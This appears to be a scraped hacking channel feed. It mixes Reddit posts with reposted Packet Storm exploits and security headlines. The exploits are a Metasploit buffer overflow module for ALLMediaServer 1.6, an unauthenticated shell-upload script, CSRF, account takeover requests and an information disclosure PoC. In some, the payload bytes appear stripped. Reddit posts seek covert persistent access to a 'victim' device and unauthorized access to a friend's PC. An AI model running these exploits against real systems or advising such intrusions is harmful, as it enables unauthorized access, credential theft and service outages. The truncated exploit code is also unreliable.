Hacking Articles Tips Tricks Videos Tutorials

What is the optimal way to connect to always traveling device...

hacking: security in practice
What is the optimal way to connect to always traveling device regardless the firewall?

In my LAN I've SSH access ass well x11vnc and want to be able to do the same thing when the victim is outside of the LAN regardless the what type of a network/firewall victim use for connection at the time. I understand that to be able to bypass all the firewall regardless the network victim would have to initiate connection first to some kind of a server - RPI or some small VPS with at least Wireguard VPN server running.

This is learning project and I have full physical access to victims system(ubuntu and macos), there are few things that comes to my mind but I'm not sure if that's the best way:

1. On victims device I would run Cron job every 5 min executing bash script with:

* init SSH connection (ssh/mosh)?
* init Wireguard connection and create some sort of a split tunnel for attacker only and victim would using regular connection so there would not be any slow down on their side - is that even possible and would I have unrestricted access to the victims underlying network as well or just VPN tunnel?

Does any of this make sense or there are better ways?

submitted by /u/No-Race8789
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

In my LAN I've SSH access ass well x11vnc and want to be able to do the same thing when the victim is outside of the LAN regardless the what type...

9 viewsedited 16:12

i have my friend's ip and location how do i access his pc , i want to prank him or smth

hacking: security in practice
i have ip and location

i have my friend's ip and location how do i access his pc , i want to prank him or smth

submitted by /u/ThatIsNotIllegal
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

i have ip and location

7 viewsedited 16:12

Friends using each other’s network to learn. Any pointers?

hacking: security in practice
Friends using each other’s network to learn. Any pointers?

Basically the title. My friend and I have been using each other’s network and computers to learn new techniques such as nmap, SET, and trying to use shells. We both get on a discord call and give each other permission to try “XYZ”.

Does anyone have any experience with this? Learning with a friend? Also, are there any other methods or pointers that we could use that would increase our skills without destroying our systems? We are both using Kali currently. Thanks!

submitted by /u/MifistoScared
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Basically the title. My friend and I have been using each other’s network and computers to learn new techniques such as nmap, SET, and trying to...

7 viewsedited 16:12

5 views17:00

5 views17:00

Exploit Collector
ALLMediaServer 1.6 Buffer Overflow

https://3.bp.blogspot.com/-Ct9xsH2cBRo/WWlviFueiJI/AAAAAAAAIQc/IuoXrqbibrUTnkZ-3FJLKgVXuEB0NPH5wCLcBGAs/s1600/h92.png
This Metasploit module exploits a stack buffer overflow in ALLMediaServer version 1.6. The vulnerability is caused due to a boundary error within the handling of HTTP request.

MD5 | 61fcfaad6e71b0e3655c316038732c1b

Download

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ALLMediaServer 1.6 SEH Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow leading to a SEH handler overwrite
in ALLMediaServer 1.6. The vulnerability is caused due to a boundary error
within the handling of a HTTP request. Note that this exploit will only work
against x86 or WoW64 targets, x64 is not supported at this time.
},
'License' => MSF_LICENSE,
'Author' => [
'Hejap Zairy Al-Sharif', # Aka @Matrix07ksa. Remote exploit and Metasploit module
],
'DefaultOptions' => {
'EXITFUNC' => 'process'
},
'Platform' => 'win',
'Arch' => [ARCH_X86],
'Payload' => {
'BadChars' => '\x00\x0a\x0d\xff'
},
'Targets' => [
[
'ALLMediaServer 1.6',
{
'Ret' => 0x0040590B, # POP ESI # POP EBX # RET
'Offset' => 1072
}
],
],
'Privileged' => false,
'DisclosureDate' => '2022-04-01',
'DefaultTarget' => 0,
'References' => [
['CVE', '2022-28381'],
['URL', 'https://github.com/Matrix07ksa/ALLMediaServer-1.6-Buffer-Overflow']
],
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN], # If this fails the service will go down and will not restart.
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([Opt::RPORT(888)])
end

def exploit
connect
buffer = ''
buffer <<
buffer <<
buffer <<
buffer <<
buffer <<
print_status('Sending payload to exploit MediaServer...')
sock.put(buffer)
print_status('Sent payload...hopefully we should get a shell!')
handler
disconnect
end
end

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

ALLMediaServer 1.6 Buffer Overflow

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 17:00

Exploit Collector
Online Banquet Booking System 1.0 Cross Site Request Forgery

https://1.bp.blogspot.com/-5p3p8L1fqP0/WWlvePVRIQI/AAAAAAAAIPs/HQNau6TSJkE3hBLTqqPcfPLddrlr7m4uACLcBGAs/s1600/h81.png
Online Banquet Booking System version 1.0 suffers from a cross site request forgery vulnerability.

MD5 | 5440ce3decaa8c6b0d1937f92bf1b8c6

Download

# Exploit Title: Online Banquet Booking System - 'change admin credentials' Cross-Site Request Forgery (CSRF)
# Date: 04/04/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/online-banquet-booking-system-using-php-and-mysql/
# Version: 1.0
# Tested on: XAMPP, Linux
# Contact: https://twitter.com/dmaral3noz

# Description :

The application is not using any security token to prevent it against CSRF. Therefore, malicious user can change admin credentials by using crafted post request.
# HTTPS Request :

POST /obbs/admin/admin-profile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
Origin: http://localhost
Connection: close
Referer: http://localhost/obbs/admin/admin-profile.php
Cookie: PHPSESSID=5lotcnigq4mddq3rr6tnnlvn3e
Upgrade-Insecure-Requests: 1

adminname=Admin&username=admin&email=admin%40gmail.com&mobilenumber=5689784589&submit=
# Poc Html :

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Online Banquet Booking System 1.0 Cross Site Request Forgery

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 17:00

3 views17:00

Exploit Collector
Gadget Store Management System 1.0 Shell Upload

https://2.bp.blogspot.com/-7dI_F0yeiSk/WWlvAqxVj9I/AAAAAAAAIKQ/m4aOGdGGTmo7o3qANzxUijwjE_G1NHOSQCLcBGAs/s1600/h123.png
Gadget Store Management System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 618d941b3d6464f3d75c691a3e8d600e

Download
# Exploit Title: Gadget Store Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 04/04/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.campcodes.com/
# Software Link: https://www.campcodes.com/projects/php/gadget-store-management-system/
# Version: 1.0
# Tested on: XAMPP, Linux
# Contact: https://twitter.com/dmaral3noz
*- url "http://localhost:80/gadgetsdb/addproduct.php"
*- Path File : http://localhost/gadgetsdb/upload/shell.php

---------------------------------------------------
#!/bin/env python3
import requests

print ('''
####################################################################################################
# Gadget Store Management System 1.0 - Remote Code Execution (Unauthenticated) #
# BY:Saud Alenazi #
# 0xSaudi #
####################################################################################################
''')

url = "http://localhost:80/gadgetsdb/addproduct.php"

saud0 = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------4587377838466971711694098865", "Origin": "http://localhost", "Connection": "close", "Referer": "http://localhost/gadgetsdb/product.php", "Upgrade-Insecure-Requests": "1"}
saud1 = "-----------------------------4587377838466971711694098865\r\nContent-Disposition: form-data; name=\"pname\"\r\n\r\ntest\r\n-----------------------------4587377838466971711694098865\r\nContent-Disposition: form-data; name=\"category\"\r\n\r\n4\r\n-----------------------------4587377838466971711694098865\r\nContent-Disposition: form-data; name=\"price\"\r\n\r\n100\r\n-----------------------------4587377838466971711694098865\r\nContent-Disposition: form-data; name=\"photo\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n\r\n\r\n\r\n-----------------------------4587377838466971711694098865--\r\n"
requests.post(url, headers=saud0, data=saud1)
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Gadget Store Management System 1.0 Shell Upload

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 17:00

4 views17:00

4 views17:00

Exploit Collector
Multi Store Inventory Management System 1.0 Information Disclosure

https://2.bp.blogspot.com/-GUn1a49o67Q/WWlu9F-J_rI/AAAAAAAAIJo/HAAKEGfKUXIq4oSJFA9qEBzdRn_AvSgtACLcBGAs/s1600/h113.png
Multi Store Inventory Management System version 1.0 suffers from an information disclosure vulnerability.

MD5 | b1b49898bd3509d4292368fede14dc54

Download

# Exploit Title: Multi Store Inventory Management System - Information Disclosure
# Date: 04/04/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.bdtask.com/
# Software Link: https://www.campcodes.com/projects/php/complete-multi-store-inventory-management-system-in-php-mysql/
# Version: 1.0
# Tested on: XAMPP, Windows 10
# Contact: https://twitter.com/dmaral3noz

# Description :

The application allows directory listing and information disclosure of
some sensitive files that can allow an attacker to leverage the disclosed
information.
################################################

PoC Html :
Multi Store Inventory Management System - Information Disclosure

src=http://127.0.0.1/multistore_demo/install/sql/install.sql>

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Multi Store Inventory Management System 1.0 Information Disclosure

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 17:00

Exploit Collector
Multi Store Inventory Management System 1.0 Account Takeover

https://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png
Multi Store Inventory Management System version 1.0 suffers from an account takeover vulnerability due to missing authorization controls.

MD5 | e6feb7f442646bfe2e6bd718321e6b7a

Download

# Exploit Title: Multi Store Inventory Management System - Account Takeover (Unauthenticated)
# Date: 04/04/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.bdtask.com/
# Software Link: https://www.campcodes.com/projects/php/complete-multi-store-inventory-management-system-in-php-mysql/
# Version: 1.0
# Tested on: XAMPP, Windows 10
# Contact: https://twitter.com/dmaral3noz

# Description :

An attacker can takeover any registered 'Staff' user account by just sending below POST request
By changing the the "id", "email", "password" , "firstname" and "lastname" parameters
#Steps to Reproduce :

1. Send the below POST request by changing "id", "email", "password" parameters.

2. Log in to the user account by changed email and password.
################################################
POST /multistore_demo/dashboard/home/setting HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------246162487211952414471071914687
Content-Length: 1645
Origin: http://localhost
Connection: close
Referer: http://localhost/multistore_demo/dashboard/home/setting
Cookie: ci_session=31504fa8fdcd43505beff1b210056ec12d5d8405
Upgrade-Insecure-Requests: 1

-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="id"

1
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="firstname"

saud
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="lastname"

test
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="email"

s3od@hi.com
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="password"

admin123
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="about"
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="old_image"
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream
-----------------------------246162487211952414471071914687--

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Multi Store Inventory Management System 1.0 Account Takeover

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 17:00

Dark Reading: Attacks/Breaches
How to Prepare for Cyber Threats During the Russian Invasion of Ukraine

Remain calm, maintain control, and triage responses appropriately to ensure that the organization can remain resilient against threats during this crisis and through others to come.

5 views17:13

Source

Dark Reading: Attacks/Breaches
FIN7 Morphs into a Broader, More Dangerous Cybercrime Group

Mandiant has now tied the group to at least eight unattributed clusters of activity targeting organizations across various industries and regions.

7 views17:13

Source

Dark Reading: Attacks/Breaches
What We Can Learn From Lapsus$ Techniques

The group is targeting the biggest weak spot in most security postures: finding anomalous behavior by authorized entities.

7 views17:13

Source

6 views18:32

BruteShark : Network Analysis Tool !!! Kali Linux Tutorials

Kali Linux Tutorials
BruteShark : Network Analysis Tool

BruteShark is a Network Forensic Analysis Tool (NFAT) that performs deep processing and inspection of network traffic (mainly PCAP files, but it also capable of directly live capturing from a network interface). It includes: password extracting, building a network map, reconstruct TCP sessions, extract hashes of encrypted passwords and even convert them to a Hashcat format in order to perform an offline Brute Force attack.

The main goal of the project is to provide solution to security researchers and network administrators with the task of network traffic analysis while they try to identify weaknesses that can be used by a potential attacker to gain access to critical points on the network.

Two BruteShark versions are available, A GUI based application (Windows) and a Command Line Interface tool (Windows and Linux).
The various projects in the solution can also be used independently as infrastructure for analyzing network traffic on Linux or Windows machines. For further details see the Architecture section.

The project was developed in my spare time to address two main passions of mine: software architecture and analyzing network data.

I love to get feedbacks from BruteShark users, your opinion is important to me! Feel free to contact me on contact.oded.shimon@gmail.com or create new issue.

Please https://s.w.org/images/core/emoji/13.1.0/72x72/2b50.png this repository if this project helped you! Also, if you’re feeling generous, you can buy me a coffe What it can do* Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP…)
* Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest…)
* Build visual network diagram (Network nodes, Open Ports, Domain Users)
* Extract DNS queries
* Reconstruct all TCP & UDP Sessions
* File Carving
* Extract Voip calls (SIP, RTP) DownloadWindows* Prerequisites:
* Npcap driver (Wireshark installs one of this by default)
* .NET Core Runtime (Note that you have to install the proper runtime regard to your needs, that means .NET Core Desktop Runtime for BruteSharkDesktop and .NET Core Runtime for BruteSharkCli).

* For desktop version download BruteSharkDesktop Windows Installer (64 Bit).
* For CLI version download BruteSharkCli Windows 10 Executable. Linux* Prerequisites: libpcap driver
* Download BruteSharkCli and just run it

wget https://github.com/odedshimon/BruteShark/releases/latest/download/BruteSharkCli
./BruteSharkCli ExamplesVideosBuilding a network map
https://user-images.githubusercontent.com/18364847/131922221-5714f351-85f7-4490-bec9-8da4339b66b3.mp4
BruteSharkCli Usage Example – Extract Multiple Passwords and Hashes (also available at youtube)
https://user-images.githubusercontent.com/18364847/131924013-8b2aa18b-0941-456e-a09d-799902554166.mp4 Hashes Extractinghttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiklJjT9POPSqn7-Q6TGK2KfZujNh52K0s1vgfXTDru3UC82CXonmzeEY3FGHixc4Zk5hT6wKuHCsCQj2VYvLdraw8tGsDcA60PxeGa3K-l2_y2nu8Sg4NjtlGOmVPg_VEfmoQx_ome8jtrM_zG9lUqa2QQAhBFO9lCXgA1niECzs-3JxhzsCEqql_T/s1364/1.png
Usage

In general, it is recommended load, run and explore the results.
Example PCAP files containing scenarios that demonstrates all BruteShark capabilities can be downloaded from here.
Note that analyzing network traffic is an operation that consumes time and resources, so it is recommended to select only the required modules when large files are loaded.
Particular attention should be paid to the “Build TCP Sessions” / “Build UDP Sessions” options. BruteSharkDesktopThe GUI is pretty self-explanatory, just load the wanted files, configure the wanted modules and press the run button. BruteSharkCliBruteSharkCli is the CLI version of BruteShark for Linux & Windows users. It has all the features of BruteSharkDesktop and designed to operate f[...]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials

BruteShark is a Network Forensic Analysis Tool (NFAT) that performs deep processing and inspection of network traffic.

7 viewsedited 18:32